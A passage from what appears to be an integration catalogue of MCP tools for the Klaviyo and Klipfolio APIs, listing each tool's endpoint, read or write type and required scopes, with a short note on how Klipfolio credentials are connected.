(read) — Get push token ids for profile via GET /api/profiles/{id}/relationships/push-tokens GET /api/v1/klaviyo/api/profiles/{id}/relationships/push-tokens. Scopes: profiles:read. klaviyo_get_api_profiles_by_id_relationships_segments (read) — Get segment ids for profile via GET /api/profiles/{id}/relationships/segments GET /api/v1/klaviyo/api/profiles/{id}/relationships/segments. Scopes: profiles:read, segments:read. klaviyo_get_api_profiles_by_id_segments (read) — Get segments for profile via GET /api/profiles/{id}/segments GET /api/v1/klaviyo/api/profiles/{id}/segments. Scopes: profiles:read, segments:read. klaviyo_get_api_push_tokens (read) — Get push tokens via GET /api/push-tokens GET /api/v1/klaviyo/api/push-tokens. Scopes: profiles:read, push-tokens:read. klaviyo_get_api_push_tokens_by_id (read) — Get push token via GET /api/push-tokens/{id} GET /api/v1/klaviyo/api/push-tokens/{id}. Scopes: profiles:read, push-tokens:read. klaviyo_get_api_push_tokens_by_id_profile (read) — Get profile for push token via GET /api/push-tokens/{id}/profile GET /api/v1/klaviyo/api/push-tokens/{id}/profile. Scopes: profiles:read, push-tokens:read. klaviyo_get_api_push_tokens_by_id_relationships_profile (read) — Get profile id for push token via GET /api/push-tokens/{id}/relationships/profile GET /api/v1/klaviyo/api/push-tokens/{id}/relationships/profile. Scopes: profiles:read, push-tokens:read. klaviyo_get_api_reviews (read) — Get reviews via GET /api/reviews GET /api/v1/klaviyo/api/reviews. Scopes: reviews:read. klaviyo_get_api_reviews_by_id (read) — Get review via GET /api/reviews/{id} GET /api/v1/klaviyo/api/reviews/{id}. Scopes: reviews:read. klaviyo_get_api_segments (read) — Get segments via GET /api/segments GET /api/v1/klaviyo/api/segments. Scopes: segments:read. klaviyo_get_api_segments_by_id (read) — Get segment via GET /api/segments/{id} GET /api/v1/klaviyo/api/segments/{id}. Scopes: segments:read. klaviyo_get_api_segments_by_id_flow_triggers (read) — Get flows triggered by segment via GET /api/segments/{id}/flow-triggers GET /api/v1/klaviyo/api/segments/{id}/flow-triggers. Scopes: flows:read, segments:read. klaviyo_get_api_segments_by_id_profiles (read) — Get profiles for segment via GET /api/segments/{id}/profiles GET /api/v1/klaviyo/api/segments/{id}/profiles. Scopes: profiles:read, segments:read. klaviyo_get_api_segments_by_id_relationships_flow_triggers (read) — Get ids for flows triggered by segment via GET /api/segments/{id}/relationships/flow-triggers GET /api/v1/klaviyo/api/segments/{id}/relationships/flow-triggers. Scopes: flows:read, segments:read. klaviyo_get_api_segments_by_id_relationships_profiles (read) — Get profile ids for segment via GET /api/segments/{id}/relationships/profiles GET /api/v1/klaviyo/api/segments/{id}/relationships/profiles. Scopes: profiles:read, segments:read. klaviyo_get_api_segments_by_id_relationships_tags (read) — Get tag ids for segment via GET /api/segments/{id}/relationships/tags GET /api/v1/klaviyo/api/segments/{id}/relationships/tags. Scopes: segments:read, tags:read. klaviyo_get_api_segments_by_id_tags (read) — Get tags for segment via GET /api/segments/{id}/tags GET /api/v1/klaviyo/api/segments/{id}/tags. Scopes: segments:read, tags:read. klaviyo_get_api_source_mappings_by_id (read) — Get source mapping via GET /api/source-mappings/{id} GET /api/v1/klaviyo/api/source-mappings/{id}. Scopes: custom-objects:read. klaviyo_get_api_tag_groups (read) — Get tag groups via GET /api/tag-groups GET /api/v1/klaviyo/api/tag-groups. Scopes: tags:read. klaviyo_get_api_tag_groups_by_id (read) — Get tag group via GET /api/tag-groups/{id} GET /api/v1/klaviyo/api/tag-groups/{id}. Scopes: tags:read. klaviyo_get_api_tag_groups_by_id_relationships_tags (read) — Get tag ids for tag group via GET /api/tag-groups/{id}/relationships/tags GET /api/v1/klaviyo/api/tag-groups/{id}/relationships/tags. Scopes: tags:read. klaviyo_get_api_tag_groups_by_id_tags (read) — Get tags for tag group via GET /api/tag-groups/{id}/tags GET /api/v1/klaviyo/api/tag-groups/{id}/tags. Scopes: tags:read. klaviyo_get_api_tags (read) — Get tags via GET /api/tags GET /api/v1/klaviyo/api/tags. Scopes: tags:read. klaviyo_get_api_tags_by_id (read) — Get tag via GET /api/tags/{id} GET /api/v1/klaviyo/api/tags/{id}. Scopes: tags:read. klaviyo_get_api_tags_by_id_relationships_campaigns (read) — Get campaign ids for tag via GET /api/tags/{id}/relationships/campaigns GET /api/v1/klaviyo/api/tags/{id}/relationships/campaigns. Scopes: campaigns:read, tags:read. klaviyo_get_api_tags_by_id_relationships_flows (read) — Get flow ids for tag via GET /api/tags/{id}/relationships/flows GET /api/v1/klaviyo/api/tags/{id}/relationships/flows. Scopes: flows:read, tags:read. klaviyo_get_api_tags_by_id_relationships_lists (read) — Get list ids for tag via GET /api/tags/{id}/relationships/lists GET /api/v1/klaviyo/api/tags/{id}/relationships/lists. Scopes: lists:read, tags:read. klaviyo_get_api_tags_by_id_relationships_segments (read) — Get segment ids for tag via GET /api/tags/{id}/relationships/segments GET /api/v1/klaviyo/api/tags/{id}/relationships/segments. Scopes: segments:read, tags:read. klaviyo_get_api_tags_by_id_relationships_tag_group (read) — Get tag group id for tag via GET /api/tags/{id}/relationships/tag-group GET /api/v1/klaviyo/api/tags/{id}/relationships/tag-group. Scopes: tags:read. klaviyo_get_api_tags_by_id_tag_group (read) — Get tag group for tag via GET /api/tags/{id}/tag-group GET /api/v1/klaviyo/api/tags/{id}/tag-group. Scopes: tags:read. klaviyo_get_api_template_universal_content (read) — Get all universal content via GET /api/template-universal-content GET /api/v1/klaviyo/api/template-universal-content. Scopes: templates:read. klaviyo_get_api_template_universal_content_by_id (read) — Get universal content via GET /api/template-universal-content/{id} GET /api/v1/klaviyo/api/template-universal-content/{id}. Scopes: templates:read. klaviyo_get_api_templates (read) — Get templates via GET /api/templates GET /api/v1/klaviyo/api/templates. Scopes: templates:read. klaviyo_get_api_templates_by_id (read) — Get template via GET /api/templates/{id} GET /api/v1/klaviyo/api/templates/{id}. Scopes: templates:read. klaviyo_get_api_tracking_settings (read) — Get tracking settings via GET /api/tracking-settings GET /api/v1/klaviyo/api/tracking-settings. Scopes: tracking-settings:read. klaviyo_get_api_tracking_settings_by_id (read) — Get tracking setting via GET /api/tracking-settings/{id} GET /api/v1/klaviyo/api/tracking-settings/{id}. Scopes: tracking-settings:read. klaviyo_get_api_web_feeds (read) — Get web feeds via GET /api/web-feeds GET /api/v1/klaviyo/api/web-feeds. Scopes: web-feeds:read. klaviyo_get_api_web_feeds_by_id (read) — Get web feed via GET /api/web-feeds/{id} GET /api/v1/klaviyo/api/web-feeds/{id}. Scopes: web-feeds:read. klaviyo_get_api_webhook_topics (read) — Get webhook topics via GET /api/webhook-topics GET /api/v1/klaviyo/api/webhook-topics. Scopes: webhooks:read. klaviyo_get_api_webhook_topics_by_id (read) — Get webhook topic via GET /api/webhook-topics/{id} GET /api/v1/klaviyo/api/webhook-topics/{id}. Scopes: webhooks:read. klaviyo_get_api_webhooks (read) — Get webhooks via GET /api/webhooks GET /api/v1/klaviyo/api/webhooks. Scopes: webhooks:read. klaviyo_get_api_webhooks_by_id (read) — Get webhook via GET /api/webhooks/{id} GET /api/v1/klaviyo/api/webhooks/{id}. Scopes: webhooks:read. klaviyo_get_client_geofences (read) — Get client geofences via GET /client/geofences GET /api/v1/klaviyo/client/geofences. Scopes: none. klaviyo_get_client_ip_allowlists_by_id (read) — Get client ip allowlist via GET /client/ip-allowlists/{id} GET /api/v1/klaviyo/client/ip-allowlists/{id}. Scopes: none. klaviyo_get_client_review_values_reports (read) — Get client review values reports via GET /client/review-values-reports GET /api/v1/klaviyo/client/review-values-reports. Scopes: none. klaviyo_get_client_reviews (read) — Get client reviews via GET /client/reviews GET /api/v1/klaviyo/client/reviews. Scopes: none. klaviyo_patch_api_campaign_messages_by_id (write) — Update campaign message via PATCH /api/campaign-messages/{id} PATCH /api/v1/klaviyo/api/campaign-messages/{id}. Scopes: campaigns:write. klaviyo_patch_api_campaign_messages_by_id_relationships_image (write) — Update image for campaign message via PATCH /api/campaign-messages/{id}/relationships/image PATCH /api/v1/klaviyo/api/campaign-messages/{id}/relationships/image. Scopes: campaigns:write, images:read. klaviyo_patch_api_campaign_send_jobs_by_id (write) — Cancel campaign send via PATCH /api/campaign-send-jobs/{id} PATCH /api/v1/klaviyo/api/campaign-send-jobs/{id}. Scopes: campaigns:write. klaviyo_patch_api_campaigns_by_id (write) — Update campaign via PATCH /api/campaigns/{id} PATCH /api/v1/klaviyo/api/campaigns/{id}. Scopes: campaigns:write. klaviyo_patch_api_catalog_categories_by_id (write) — Update catalog category via PATCH /api/catalog-categories/{id} PATCH /api/v1/klaviyo/api/catalog-categories/{id}. Scopes: catalogs:write. klaviyo_patch_api_catalog_categories_by_id_relationships_items (write) — Update items for catalog category via PATCH /api/catalog-categories/{id}/relationships/items PATCH /api/v1/klaviyo/api/catalog-categories/{id}/relationships/items. Scopes: catalogs:write. klaviyo_patch_api_catalog_items_by_id (write) — Update catalog item via PATCH /api/catalog-items/{id} PATCH /api/v1/klaviyo/api/catalog-items/{id}. Scopes: catalogs:write. klaviyo_patch_api_catalog_items_by_id_relationships_categories (write) — Update categories for catalog item via PATCH /api/catalog-items/{id}/relationships/categories PATCH /api/v1/klaviyo/api/catalog-items/{id}/relationships/categories. Scopes: catalogs:write. klaviyo_patch_api_catalog_variants_by_id (write) — Update catalog variant via PATCH /api/catalog-variants/{id} PATCH /api/v1/klaviyo/api/catalog-variants/{id}. Scopes: catalogs:write. klaviyo_patch_api_coupon_codes_by_id (write) — Update coupon code via PATCH /api/coupon-codes/{id} PATCH /api/v1/klaviyo/api/coupon-codes/{id}. Scopes: coupon-codes:write. klaviyo_patch_api_coupons_by_id (write) — Update coupon via PATCH /api/coupons/{id} PATCH /api/v1/klaviyo/api/coupons/{id}. Scopes: coupons:write. klaviyo_patch_api_custom_metrics_by_id (write) — Update custom metric via PATCH /api/custom-metrics/{id} PATCH /api/v1/klaviyo/api/custom-metrics/{id}. Scopes: metrics:write. klaviyo_patch_api_flow_actions_by_id (write) — Update flow action via PATCH /api/flow-actions/{id} PATCH /api/v1/klaviyo/api/flow-actions/{id}. Scopes: flows:write. klaviyo_patch_api_flows_by_id (write) — Update flow via PATCH /api/flows/{id} PATCH /api/v1/klaviyo/api/flows/{id}. Scopes: flows:write. klaviyo_patch_api_images_by_id (write) — Update image via PATCH /api/images/{id} PATCH /api/v1/klaviyo/api/images/{id}. Scopes: images:write. klaviyo_patch_api_lists_by_id (write) — Update list via PATCH /api/lists/{id} PATCH /api/v1/klaviyo/api/lists/{id}. Scopes: lists:write. klaviyo_patch_api_mapped_metrics_by_id (write) — Update mapped metric via PATCH /api/mapped-metrics/{id} PATCH /api/v1/klaviyo/api/mapped-metrics/{id}. Scopes: metrics:write. klaviyo_patch_api_object_schemas_by_id (write) — Update object schema via PATCH /api/object-schemas/{id} PATCH /api/v1/klaviyo/api/object-schemas/{id}. Scopes: custom-objects:write. klaviyo_patch_api_object_schemas_by_id_relationships_object_schemas (write) — Update object schema relationship via PATCH /api/object-schemas/{id}/relationships/object-schemas PATCH /api/v1/klaviyo/api/object-schemas/{id}/relationships/object-schemas. Scopes: custom-objects:write. klaviyo_patch_api_object_schemas_by_id_relationships_profile_object_schemas (write) — Update profile schema relationship via PATCH /api/object-schemas/{id}/relationships/profile-object-schemas PATCH /api/v1/klaviyo/api/object-schemas/{id}/relationships/profile-object-schemas. Scopes: custom-objects:write. klaviyo_patch_api_profiles_by_id (write) — Update profile via PATCH /api/profiles/{id} PATCH /api/v1/klaviyo/api/profiles/{id}. Scopes: profiles:write. klaviyo_patch_api_reviews_by_id (write) — Update review via PATCH /api/reviews/{id} PATCH /api/v1/klaviyo/api/reviews/{id}. Scopes: reviews:write. klaviyo_patch_api_segments_by_id (write) — Update segment via PATCH /api/segments/{id} PATCH /api/v1/klaviyo/api/segments/{id}. Scopes: segments:write. klaviyo_patch_api_source_mappings_by_id (write) — Update source mapping via PATCH /api/source-mappings/{id} PATCH /api/v1/klaviyo/api/source-mappings/{id}. Scopes: custom-objects:write. klaviyo_patch_api_tag_groups_by_id (write) — Update tag group via PATCH /api/tag-groups/{id} PATCH /api/v1/klaviyo/api/tag-groups/{id}. Scopes: tags:read, tags:write. klaviyo_patch_api_tags_by_id (write) — Update tag via PATCH /api/tags/{id} PATCH /api/v1/klaviyo/api/tags/{id}. Scopes: tags:read, tags:write. klaviyo_patch_api_template_universal_content_by_id (write) — Update universal content via PATCH /api/template-universal-content/{id} PATCH /api/v1/klaviyo/api/template-universal-content/{id}. Scopes: templates:write. klaviyo_patch_api_templates_by_id (write) — Update template via PATCH /api/templates/{id} PATCH /api/v1/klaviyo/api/templates/{id}. Scopes: templates:write. klaviyo_patch_api_tracking_settings_by_id (write) — Update tracking setting via PATCH /api/tracking-settings/{id} PATCH /api/v1/klaviyo/api/tracking-settings/{id}. Scopes: tracking-settings:write. klaviyo_patch_api_web_feeds_by_id (write) — Update web feed via PATCH /api/web-feeds/{id} PATCH /api/v1/klaviyo/api/web-feeds/{id}. Scopes: web-feeds:write. klaviyo_patch_api_webhooks_by_id (write) — Update webhook via PATCH /api/webhooks/{id} PATCH /api/v1/klaviyo/api/webhooks/{id}. Scopes: webhooks:write. klaviyo_post_api_back_in_stock_subscriptions (write) — Create back in stock subscription via POST /api/back-in-stock-subscriptions POST /api/v1/klaviyo/api/back-in-stock-subscriptions. Scopes: catalogs:write, profiles:write. klaviyo_post_api_campaign_clone (write) — Create campaign clone via POST /api/campaign-clone POST /api/v1/klaviyo/api/campaign-clone. Scopes: campaigns:write. klaviyo_post_api_campaign_message_assign_template (write) — Assign template to campaign message via POST /api/campaign-message-assign-template POST /api/v1/klaviyo/api/campaign-message-assign-template. Scopes: campaigns:write. klaviyo_post_api_campaign_recipient_estimation_jobs (write) — Refresh campaign recipient estimation via POST /api/campaign-recipient-estimation-jobs POST /api/v1/klaviyo/api/campaign-recipient-estimation-jobs. Scopes: campaigns:write. klaviyo_post_api_campaign_send_jobs (write) — Send campaign via POST /api/campaign-send-jobs POST /api/v1/klaviyo/api/campaign-send-jobs. Scopes: campaigns:write. klaviyo_post_api_campaign_values_reports (write) — Query campaign values via POST /api/campaign-values-reports POST /api/v1/klaviyo/api/campaign-values-reports. Scopes: campaigns:read. klaviyo_post_api_campaigns (write) — Create campaign via POST /api/campaigns POST /api/v1/klaviyo/api/campaigns. Scopes: campaigns:write. klaviyo_post_api_catalog_categories (write) — Create catalog category via POST /api/catalog-categories POST /api/v1/klaviyo/api/catalog-categories. Scopes: catalogs:write. klaviyo_post_api_catalog_categories_by_id_relationships_items (write) — Add items to catalog category via POST /api/catalog-categories/{id}/relationships/items POST /api/v1/klaviyo/api/catalog-categories/{id}/relationships/items. Scopes: catalogs:write. klaviyo_post_api_catalog_category_bulk_create_jobs (write) — Bulk create catalog categories via POST /api/catalog-category-bulk-create-jobs POST /api/v1/klaviyo/api/catalog-category-bulk-create-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_category_bulk_delete_jobs (write) — Bulk delete catalog categories via POST /api/catalog-category-bulk-delete-jobs POST /api/v1/klaviyo/api/catalog-category-bulk-delete-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_category_bulk_update_jobs (write) — Bulk update catalog categories via POST /api/catalog-category-bulk-update-jobs POST /api/v1/klaviyo/api/catalog-category-bulk-update-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_item_bulk_create_jobs (write) — Bulk create catalog items via POST /api/catalog-item-bulk-create-jobs POST /api/v1/klaviyo/api/catalog-item-bulk-create-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_item_bulk_delete_jobs (write) — Bulk delete catalog items via POST /api/catalog-item-bulk-delete-jobs POST /api/v1/klaviyo/api/catalog-item-bulk-delete-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_item_bulk_update_jobs (write) — Bulk update catalog items via POST /api/catalog-item-bulk-update-jobs POST /api/v1/klaviyo/api/catalog-item-bulk-update-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_items (write) — Create catalog item via POST /api/catalog-items POST /api/v1/klaviyo/api/catalog-items. Scopes: catalogs:write. klaviyo_post_api_catalog_items_by_id_relationships_categories (write) — Add categories to catalog item via POST /api/catalog-items/{id}/relationships/categories POST /api/v1/klaviyo/api/catalog-items/{id}/relationships/categories. Scopes: catalogs:write. klaviyo_post_api_catalog_variant_bulk_create_jobs (write) — Bulk create catalog variants via POST /api/catalog-variant-bulk-create-jobs POST /api/v1/klaviyo/api/catalog-variant-bulk-create-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_variant_bulk_delete_jobs (write) — Bulk delete catalog variants via POST /api/catalog-variant-bulk-delete-jobs POST /api/v1/klaviyo/api/catalog-variant-bulk-delete-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_variant_bulk_update_jobs (write) — Bulk update catalog variants via POST /api/catalog-variant-bulk-update-jobs POST /api/v1/klaviyo/api/catalog-variant-bulk-update-jobs. Scopes: catalogs:write. klaviyo_post_api_catalog_variants (write) — Create catalog variant via POST /api/catalog-variants POST /api/v1/klaviyo/api/catalog-variants. Scopes: catalogs:write. klaviyo_post_api_conversation_messages (write) — Create conversation message via POST /api/conversation-messages POST /api/v1/klaviyo/api/conversation-messages. Scopes: conversations:write. klaviyo_post_api_coupon_code_bulk_create_jobs (write) — Bulk create coupon codes via POST /api/coupon-code-bulk-create-jobs POST /api/v1/klaviyo/api/coupon-code-bulk-create-jobs. Scopes: coupon-codes:write. klaviyo_post_api_coupon_codes (write) — Create coupon code via POST /api/coupon-codes POST /api/v1/klaviyo/api/coupon-codes. Scopes: coupon-codes:write. klaviyo_post_api_coupons (write) — Create coupon via POST /api/coupons POST /api/v1/klaviyo/api/coupons. Scopes: coupons:write. klaviyo_post_api_custom_metrics (write) — Create custom metric via POST /api/custom-metrics POST /api/v1/klaviyo/api/custom-metrics. Scopes: metrics:write. klaviyo_post_api_data_privacy_deletion_jobs (write) — Request profile deletion via POST /api/data-privacy-deletion-jobs POST /api/v1/klaviyo/api/data-privacy-deletion-jobs. Scopes: data-privacy:write. klaviyo_post_api_data_source_record_bulk_create_jobs (write) — Bulk create data source records via POST /api/data-source-record-bulk-create-jobs POST /api/v1/klaviyo/api/data-source-record-bulk-create-jobs. Scopes: custom-objects:write. klaviyo_post_api_data_source_record_create_jobs (write) — Create data source record via POST /api/data-source-record-create-jobs POST /api/v1/klaviyo/api/data-source-record-create-jobs. Scopes: custom-objects:write. klaviyo_post_api_data_sources (write) — Create data source via POST /api/data-sources POST /api/v1/klaviyo/api/data-sources. Scopes: custom-objects:write. klaviyo_post_api_event_bulk_create_jobs (write) — Bulk create events via POST /api/event-bulk-create-jobs POST /api/v1/klaviyo/api/event-bulk-create-jobs. Scopes: events:write. klaviyo_post_api_events (write) — Create event via POST /api/events POST /api/v1/klaviyo/api/events. Scopes: events:write. klaviyo_post_api_flow_series_reports (write) — Query flow series via POST /api/flow-series-reports POST /api/v1/klaviyo/api/flow-series-reports. Scopes: flows:read. klaviyo_post_api_flow_values_reports (write) — Query flow values via POST /api/flow-values-reports POST /api/v1/klaviyo/api/flow-values-reports. Scopes: flows:read. klaviyo_post_api_flows (write) — Create flow via POST /api/flows POST /api/v1/klaviyo/api/flows. Scopes: flows:write. klaviyo_post_api_form_series_reports (write) — Query form series via POST /api/form-series-reports POST /api/v1/klaviyo/api/form-series-reports. Scopes: forms:read. klaviyo_post_api_form_values_reports (write) — Query form values via POST /api/form-values-reports POST /api/v1/klaviyo/api/form-values-reports. Scopes: forms:read. klaviyo_post_api_forms (write) — Create form via POST /api/forms POST /api/v1/klaviyo/api/forms. Scopes: forms:write. klaviyo_post_api_images (write) — Upload image from url via POST /api/images POST /api/v1/klaviyo/api/images. Scopes: images:write. klaviyo_post_api_lists (write) — Create list via POST /api/lists POST /api/v1/klaviyo/api/lists. Scopes: lists:write. klaviyo_post_api_lists_by_id_relationships_profiles (write) — Add profiles to list via POST /api/lists/{id}/relationships/profiles POST /api/v1/klaviyo/api/lists/{id}/relationships/profiles. Scopes: lists:write, profiles:write. klaviyo_post_api_metric_aggregates (write) — Query metric aggregates via POST /api/metric-aggregates POST /api/v1/klaviyo/api/metric-aggregates. Scopes: metrics:read. klaviyo_post_api_object_record_bulk_delete_jobs (write) — Bulk delete object records via POST /api/object-record-bulk-delete-jobs POST /api/v1/klaviyo/api/object-record-bulk-delete-jobs. Scopes: custom-objects:write. klaviyo_post_api_object_schemas (write) — Create object schema via POST /api/object-schemas POST /api/v1/klaviyo/api/object-schemas. Scopes: custom-objects:write. klaviyo_post_api_object_schemas_by_id_relationships_object_schemas (write) — Create object schema relationship via POST /api/object-schemas/{id}/relationships/object-schemas POST /api/v1/klaviyo/api/object-schemas/{id}/relationships/object-schemas. Scopes: custom-objects:write. klaviyo_post_api_object_schemas_by_id_relationships_profile_object_schemas (write) — Create profile schema relationship via POST /api/object-schemas/{id}/relationships/profile-object-schemas POST /api/v1/klaviyo/api/object-schemas/{id}/relationships/profile-object-schemas. Scopes: custom-objects:write. klaviyo_post_api_object_types (write) — Create object type via POST /api/object-types POST /api/v1/klaviyo/api/object-types. Scopes: custom-objects:write. klaviyo_post_api_profile_bulk_import_jobs (write) — Bulk import profiles via POST /api/profile-bulk-import-jobs POST /api/v1/klaviyo/api/profile-bulk-import-jobs. Scopes: lists:write, profiles:write. klaviyo_post_api_profile_import (write) — Create or update profile via POST /api/profile-import POST /api/v1/klaviyo/api/profile-import. Scopes: profiles:write. klaviyo_post_api_profile_merge (write) — Merge profiles via POST /api/profile-merge POST /api/v1/klaviyo/api/profile-merge. Scopes: profiles:write. klaviyo_post_api_profile_subscription_bulk_create_jobs (write) — Bulk subscribe profiles via POST /api/profile-subscription-bulk-create-jobs POST /api/v1/klaviyo/api/profile-subscription-bulk-create-jobs. Scopes: lists:write, profiles:write, subscriptions:write. klaviyo_post_api_profile_subscription_bulk_delete_jobs (write) — Bulk unsubscribe profiles via POST /api/profile-subscription-bulk-delete-jobs POST /api/v1/klaviyo/api/profile-subscription-bulk-delete-jobs. Scopes: lists:write, profiles:write, subscriptions:write. klaviyo_post_api_profile_suppression_bulk_create_jobs (write) — Bulk suppress profiles via POST /api/profile-suppression-bulk-create-jobs POST /api/v1/klaviyo/api/profile-suppression-bulk-create-jobs. Scopes: profiles:write, subscriptions:write. klaviyo_post_api_profile_suppression_bulk_delete_jobs (write) — Bulk unsuppress profiles via POST /api/profile-suppression-bulk-delete-jobs POST /api/v1/klaviyo/api/profile-suppression-bulk-delete-jobs. Scopes: subscriptions:write. klaviyo_post_api_profiles (write) — Create profile via POST /api/profiles POST /api/v1/klaviyo/api/profiles. Scopes: profiles:write. klaviyo_post_api_push_tokens (write) — Create push token via POST /api/push-tokens POST /api/v1/klaviyo/api/push-tokens. Scopes: profiles:write, push-tokens:write. klaviyo_post_api_segment_series_reports (write) — Query segment series via POST /api/segment-series-reports POST /api/v1/klaviyo/api/segment-series-reports. Scopes: segments:read. klaviyo_post_api_segment_values_reports (write) — Query segment values via POST /api/segment-values-reports POST /api/v1/klaviyo/api/segment-values-reports. Scopes: segments:read. klaviyo_post_api_segments (write) — Create segment via POST /api/segments POST /api/v1/klaviyo/api/segments. Scopes: segments:write. klaviyo_post_api_tag_groups (write) — Create tag group via POST /api/tag-groups POST /api/v1/klaviyo/api/tag-groups. Scopes: tags:read, tags:write. klaviyo_post_api_tags (write) — Create tag via POST /api/tags POST /api/v1/klaviyo/api/tags. Scopes: tags:read, tags:write. klaviyo_post_api_tags_by_id_relationships_campaigns (write) — Tag campaigns via POST /api/tags/{id}/relationships/campaigns POST /api/v1/klaviyo/api/tags/{id}/relationships/campaigns. Scopes: campaigns:write, tags:write. klaviyo_post_api_tags_by_id_relationships_flows (write) — Tag flows via POST /api/tags/{id}/relationships/flows POST /api/v1/klaviyo/api/tags/{id}/relationships/flows. Scopes: flows:write, tags:write. klaviyo_post_api_tags_by_id_relationships_lists (write) — Tag lists via POST /api/tags/{id}/relationships/lists POST /api/v1/klaviyo/api/tags/{id}/relationships/lists. Scopes: lists:write, tags:write. klaviyo_post_api_tags_by_id_relationships_segments (write) — Tag segments via POST /api/tags/{id}/relationships/segments POST /api/v1/klaviyo/api/tags/{id}/relationships/segments. Scopes: segments:write, tags:write. klaviyo_post_api_template_clone (write) — Clone template via POST /api/template-clone POST /api/v1/klaviyo/api/template-clone. Scopes: templates:write. klaviyo_post_api_template_render (write) — Render template via POST /api/template-render POST /api/v1/klaviyo/api/template-render. Scopes: templates:read. klaviyo_post_api_template_universal_content (write) — Create universal content via POST /api/template-universal-content POST /api/v1/klaviyo/api/template-universal-content. Scopes: templates:write. klaviyo_post_api_templates (write) — Create template via POST /api/templates POST /api/v1/klaviyo/api/templates. Scopes: templates:write. klaviyo_post_api_web_feeds (write) — Create web feed via POST /api/web-feeds POST /api/v1/klaviyo/api/web-feeds. Scopes: web-feeds:write. klaviyo_post_api_webhooks (write) — Create webhook via POST /api/webhooks POST /api/v1/klaviyo/api/webhooks. Scopes: webhooks:write. klaviyo_post_client_back_in_stock_subscriptions (write) — Create client back in stock subscription via POST /client/back-in-stock-subscriptions POST /api/v1/klaviyo/client/back-in-stock-subscriptions. Scopes: catalogs:write, profiles:write. klaviyo_post_client_event_bulk_create (write) — Bulk create client events via POST /client/event-bulk-create POST /api/v1/klaviyo/client/event-bulk-create. Scopes: events:write. klaviyo_post_client_events (write) — Create client event via POST /client/events POST /api/v1/klaviyo/client/events. Scopes: events:write. klaviyo_post_client_profiles (write) — Create client profile via POST /client/profiles POST /api/v1/klaviyo/client/profiles. Scopes: profiles:write. klaviyo_post_client_push_token_unregister (write) — Unregister client push token via POST /client/push-token-unregister POST /api/v1/klaviyo/client/push-token-unregister. Scopes: none. klaviyo_post_client_push_tokens (write) — Create client push token via POST /client/push-tokens POST /api/v1/klaviyo/client/push-tokens. Scopes: none. klaviyo_post_client_reviews (write) — Create client review via POST /client/reviews POST /api/v1/klaviyo/client/reviews. Scopes: none. klaviyo_post_client_subscriptions (write) — Create client subscription via POST /client/subscriptions POST /api/v1/klaviyo/client/subscriptions. Scopes: subscriptions:write. ================================================================================ ## Klipfolio URL: https://www.agenticfabriq.com/integrations/klipfolio Section: Integrated Tools Klipfolio — 122 MCP tools Provider key: klipfolio. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. klipfolio_delete_clients_by_id (write, destructive) — Delete a client. Requires the Klipfolio role permission `client.delete`. via DELETE /clients/{client_id} DELETE /api/v1/klipfolio/clients/{client_id}. Scopes: api. klipfolio_delete_clients_by_id_properties (write, destructive) — Delete a company property from a client's account. Requires the Klipfolio role permission `client.edit`. via DELETE /clients/{client_id}/properties DELETE /api/v1/klipfolio/clients/{client_id}/properties. Scopes: api. klipfolio_delete_clients_by_id_share_rights_by_group_id (write, destructive) — Delete a client share right for a group. via DELETE /clients/{client_id}/share-rights/{group_id} DELETE /api/v1/klipfolio/clients/{client_id}/share-rights/{group_id}. Scopes: api. klipfolio_delete_dashboard_published_links_by_published_link_id (write, destructive) — Deletes published link. Requires the Klipfolio role permission `tab.publish`. via DELETE /dashboard-published-links/{published_link_id} DELETE /api/v1/klipfolio/dashboard-published-links/{published_link_id}. Scopes: api. klipfolio_delete_datasource_instances (write, destructive) — Delete instances related to a specific data source. Requires the Klipfolio role permission `datasource.delete`. via DELETE /datasource-instances DELETE /api/v1/klipfolio/datasource-instances. Scopes: api. klipfolio_delete_datasource_instances_by_id_properties (write, destructive) — Delete a specified data source instance. Requires the Klipfolio role permission `dashboard.library`. via DELETE /datasource-instances/{instance_id}/properties DELETE /api/v1/klipfolio/datasource-instances/{instance_id}/properties. Scopes: api. klipfolio_delete_datasources_by_id (write, destructive) — Delete the data source associated with a specific data source ID. Requires the Klipfolio role permission `datasource.delete`. via DELETE /datasources/{datasource_id} DELETE /api/v1/klipfolio/datasources/{datasource_id}. Scopes: api. klipfolio_delete_datasources_by_id_properties (write, destructive) — Delete a data source property. via DELETE /datasources/{datasource_id}/properties DELETE /api/v1/klipfolio/datasources/{datasource_id}/properties. Scopes: api. klipfolio_delete_datasources_by_id_share_rights_by_group_id (write, destructive) — Delete a data source share right for a group. via DELETE /datasources/{datasource_id}/share-rights/{group_id} DELETE /api/v1/klipfolio/datasources/{datasource_id}/share-rights/{group_id}. Scopes: api. klipfolio_delete_groups_by_id (write, destructive) — Delete a group in the company or client account. Requires the Klipfolio role permission `user.manage`. via DELETE /groups/{group_id} DELETE /api/v1/klipfolio/groups/{group_id}. Scopes: api. klipfolio_delete_groups_by_id_default_tabs_by_id (write, destructive) — Delete the specified dashboard (tab) from the group. Requires the Klipfolio role permission `user.manage`. via DELETE /groups/{group_id}/default-tabs/{default_tab_id} DELETE /api/v1/klipfolio/groups/{group_id}/default-tabs/{default_tab_id}. Scopes: api. klipfolio_delete_groups_by_id_users_by_id (write, destructive) — Delete a user from a group. Requires the Klipfolio role permission `user.manage`. via DELETE /groups/{group_id}/users/{user_id} DELETE /api/v1/klipfolio/groups/{group_id}/users/{user_id}. Scopes: api. klipfolio_delete_klips_by_id (write, destructive) — Delete a specified Klip in the company or client account. Requires the Klipfolio role permission `klip.delete`. via DELETE /klips/{klip_id} DELETE /api/v1/klipfolio/klips/{klip_id}. Scopes: api. klipfolio_delete_klips_by_id_annotations_by_id (write, destructive) — Remove an annotation from a specified Klip in the company or client account. Requires the Klipfolio role permission `dashboard.annotation.edit`. via DELETE 